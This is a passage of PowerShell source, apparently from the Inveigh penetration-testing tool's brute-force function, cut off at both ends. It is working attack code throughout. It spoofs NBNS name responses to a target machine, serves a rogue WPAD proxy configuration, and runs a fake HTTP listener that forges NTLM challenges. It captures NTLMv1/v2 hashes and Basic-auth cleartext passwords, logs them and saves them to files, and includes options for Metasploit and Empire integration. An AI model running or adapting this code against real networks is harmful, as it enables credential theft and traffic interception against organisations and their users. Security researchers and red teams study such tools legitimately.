(Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Use PowerShell character escapes where necessary. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. + +.PARAMETER Challenge +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER ConsoleOutput +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER FileOutput +Default = Disabled: (Y/N) Enable/Disable real time file output. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER OutputStreamOnly +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Brute Force through a shell that does not return other output streams. +Note that you will not see the various yellow warning messages if enabled. + +.PARAMETER OutputDir +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + +.PARAMETER ShowHelp +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +Default = Unlimited: (Integer) Set the run time duration in minutes. + +.PARAMETER RunCount +Default = Unlimited: (Integer) Set the number of captures to perform before auto-exiting. + +.PARAMETER Tool +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + +.EXAMPLE +Import-Module .\Inveigh.psd1;Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 +Import full module and target 192.168.1.11 for 'WPAD' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -Hostname server1 +Target 192.168.1.11 for 'server1' hostname spoofs. + +.EXAMPLE +Invoke-InveighBruteForce -SpooferTarget 192.168.1.11 -WPADIP 192.168.10.10 -WPADPort 8080 +Target 192.168.1.11 for 'WPAD' hostname spoofs and respond to wpad.dat requests with a proxy of 192.168.10.10:8080. + +.LINK +https://github.com/Kevin-Robertson/Inveigh +#> + +# Parameter default values can be modified in this section: +param +( + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$HTTPIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferTarget="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$HTTPPort="80", + [parameter(Mandatory=$false)][int]$NBNSPause="", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", + [parameter(Mandatory=$false)][int]$RunCount="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$Hostname = "WPAD", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if ($invalid_parameter) +{ + throw "$($invalid_parameter) is not a valid parameter." +} + +if(!$SpooferIP) +{ + $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) +} + +if($NBNS -eq 'y' -and !$SpooferTarget) +{ + Throw "You must specify a -SpooferTarget if enabling -NBNS" +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } +} + +if(!$OutputDir) +{ + $output_directory = $PWD.Path +} +else +{ + $output_directory = $OutputDir +} + +if(!$inveigh) +{ + $global:inveigh = [hashtable]::Synchronized(@{}) + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList +} + +if($inveigh.bruteforce_running) +{ + Throw "Invoke-InveighBruteForce is already running, use Stop-Inveigh" +} + +$inveigh.console_queue = New-Object System.Collections.ArrayList +$inveigh.status_queue = New-Object System.Collections.ArrayList +$inveigh.log_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList +$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList +$inveigh.console_output = $false +$inveigh.console_input = $true +$inveigh.file_output = $false +$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" +$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" +$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.challenge = $Challenge +$inveigh.hostname_spoof = $false +$inveigh.bruteforce_running = $true + +if($StatusOutput -eq 'y') +{ + $inveigh.status_output = $true +} +else +{ + $inveigh.status_output = $false +} + +if($OutputStreamOnly -eq 'y') +{ + $inveigh.output_stream_only = $true +} +else +{ + $inveigh.output_stream_only = $false +} + +if($Tool -eq 1) # Metasploit Interactive PowerShell +{ + $inveigh.tool = 1 + $inveigh.output_stream_only = $true + $inveigh.newline = "" + $ConsoleOutput = "N" +} +elseif($Tool -eq 2) # PowerShell Empire +{ + $inveigh.tool = 2 + $inveigh.output_stream_only = $true + $inveigh.console_input = $false + $inveigh.newline = "`n" + $ConsoleOutput = "Y" + $ShowHelp = "N" +} +else +{ + $inveigh.tool = 0 + $inveigh.newline = "" +} + +# Write startup messages +$inveigh.status_queue.add("Inveigh Brute Force started at $(Get-Date -format 's')")|Out-Null +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force started")]) |Out-Null + +if($NBNS -eq 'y') +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Target = $SpooferTarget")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer IP Address = $SpooferIP")|Out-Null + $inveigh.status_queue.add("NBNS Brute Force Spoofer Hostname = $Hostname")|Out-Null + + if($NBNSPause) + { + $inveigh.status_queue.add("NBNS Brute Force Pause = $NBNSPause Seconds")|Out-Null + } + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null +} +else +{ + $inveigh.status_queue.add("NBNS Brute Force Spoofer Disabled")|Out-Null +} + +if($HTTP -eq 'y') +{ + if($HTTPIP) + { + $inveigh.status_queue.add("HTTP IP Address = $HTTPIP")|Out-Null + } + + if($HTTPPort -ne 80) + { + $inveigh.status_queue.add("HTTP Port = $HTTPPort")|Out-Null + } + + $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null + $inveigh.status_queue.add("HTTP Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } + + if($MachineAccounts -eq 'n') + { + $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null + } +} +else +{ + $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null +} + +if($ConsoleOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null + $inveigh.console_output = $true +} +else +{ + if($inveigh.tool -eq 1) + { + $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null + } + else + { + $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null + } +} + +if($FileOutput -eq 'y') +{ + $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null + $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null + $inveigh.file_output = $true +} +else +{ + $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null +} + +if($RunTime -eq 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null +} +elseif($RunTime -gt 1) +{ + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null +} + +if($RunCount) +{ + $inveigh.status_queue.add("Run Count = $RunCount")|Out-Null +} + +if($ShowHelp -eq 'y') +{ + $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null + $inveigh.status_queue.add("Run Stop-Inveigh to stop running Inveigh functions")|Out-Null + + if($inveigh.console_output) + { + $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null + } +} + +if($inveigh.status_output) +{ + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch ($inveigh.status_queue[0]) + { + "Run Stop-Inveigh to stop running Inveigh functions" + { + write-warning($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output($inveigh.status_queue[0]) + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } +} + +# Begin ScriptBlocks + +# Shared Basic Functions ScriptBlock +$shared_basic_functions_scriptblock = +{ + Function DataLength + { + param ([int]$length_start,[byte[]]$string_extract_data) + + $string_length = [System.BitConverter]::ToInt16($string_extract_data[$length_start..($length_start + 1)],0) + return $string_length + } + + Function DataToString + { + param ([int]$string_length,[int]$string2_length,[int]$string3_length,[int]$string_start,[byte[]]$string_extract_data) + + $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) + $string_data = $string_data -replace "-00","" + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $string_extract = New-Object System.String ($string_data,0,$string_data.Length) + return $string_extract + } + + Function HTTPListenerStop + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener") + $inveigh.HTTP_client.Close() + start-sleep -s 1 + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + } +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($HTTPAuth,$HTTPBasicRealm,$HTTPResponse,$MachineAccounts,$NBNSPause,$WPADAuth,$WPADIP,$WPADPort,$WPADDirectHosts,$WPADResponse,$RunCount) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + + if($inveigh.challenge) + { + $HTTP_challenge = $inveigh.challenge + $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + else + { + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + } + + $inveigh.HTTP_challenge_queue.Add($inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0x82,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + $HTTP_WWW_authenticate_header = (0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20) # WWW-Authenticate + $run_count_NTLMv1 = $RunCount + $inveigh.NTLMv1_list.Count + $run_count_NTLMv2 = $RunCount + $inveigh.NTLMv2_list.Count + $run_count_cleartext = $RunCount + $inveigh.cleartext_list.Count + + if($WPADIP -and $WPADPort) + { + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $HTTP_WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + else + { + $HTTP_WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse) + { + $HTTP_WPAD_response = $WPADResponse + } + + :HTTP_listener_loop while ($inveigh.bruteforce_running) + { + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + + $suppress_waiting_message = $false + + while(!$inveigh.HTTP_listener.Pending() -and !$inveigh.HTTP_client.Connected) + { + if(!$suppress_waiting_message) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + + Start-Sleep -s 1 + + if(!$inveigh.bruteforce_running) + { + HTTPListenerStop + } + } + + if(!$inveigh.HTTP_client.Connected) + { + $inveigh.HTTP_client = $inveigh.HTTP_listener.AcceptTcpClient() # will block here until connection + $HTTP_stream = $inveigh.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($NBNSPause) + { + $inveigh.NBNS_stopwatch = [diagnostics.stopwatch]::StartNew() + $inveigh.hostname_spoof = $true + } + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + if(($HTTP_request_raw_URL -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + } + else + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64) + } + + $HTTP_type = "HTTP" + $NTLM = 'NTLM' + $NTLM_auth = $false + + if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $inveigh.HTTP_client.Client.Handle) + { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $HTTP_request_raw_URL + " received from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + } + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $HTTP_response_status_code = (0x34,0x30,0x31) + + if ($HTTP_request_bytes[8] -eq 1) + { + $HTTP_response_status_code = (0x34,0x30,0x31) + $NTLM = NTLMChallengeBase64 + } + elseif ($HTTP_request_bytes[8] -eq 3) + { + $NTLM = 'NTLM' + $HTTP_NTLM_offset = $HTTP_request_bytes[24] + $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes + + [string]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString + $inveigh.HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(","))+1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes + + $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv1_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv1_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else # NTLMv2 + { + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if((($NTLM_challenge -ne '') -and ($NTLM_response -ne '')) -and (($MachineAccounts -eq 'y') -or (($MachineAccounts -eq 'n') -and (-not $HTTP_NTLM_user_string.EndsWith('$'))))) + { + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) + $inveigh.NTLMv2_file_queue.add($inveigh.HTTP_NTLM_hash) + $inveigh.NTLMv2_list.add($inveigh.HTTP_NTLM_hash) + $inveigh.console_queue.add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + } + } + + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM_auth = $true + $HTTP_client_close = $true + $NTLM_challenge = '' + } + else + { + $NTLM = 'NTLM' + } + } + elseif($authentication_header.startswith('Basic ')) + { + $HTTP_response_status_code = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $authentication_header = $authentication_header -replace 'Basic ','' + $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address)]) + $inveigh.cleartext_file_queue.add($cleartext_credentials) + $inveigh.cleartext_list.add($cleartext_credentials) + $inveigh.console_queue.add("$(Get-Date -format 's') - Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.HTTP_client.Client.RemoteEndpoint.Address) + + if($inveigh.file_output) + { + $inveigh.console_queue.add("Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) + } + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if((($WPADIP -and $WPADPort) -or $WPADResponse) -and $HTTP_request_raw_URL -match '/wpad.dat') + { + $HTTP_message = $HTTP_WPAD_response + } + elseif($HTTPResponse -and $HTTP_request_raw_URL -notmatch '/wpad.dat') + { + $HTTP_message = $HTTPResponse + } + else + { + $HTTP_message = '' + + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + + if(($HTTPAuth -eq 'NTLM' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$NTLM_auth) + { + $NTLM = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + (0x44,0x61,0x74,0x65,0x3a)` + + $HTTP_timestamp` + + (0x0d,0x0a)` + + $HTTP_WWW_authenticate_header` + + $NTLM` + + (0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73,0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a)` + + (0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20)` + + $HTTP_content_length_bytes` + + (0x0d,0x0a)` + + $HTTP_message_bytes + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + $HTTP_message_bytes = (0x0d,0x0a) + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + $HTTP_client_close = $true + + [Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)` + + $HTTP_response_status_code` + + (0x20)` + + $HTTP_response_phrase` + + (0x0d,0x0a)` + + (0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)` + + 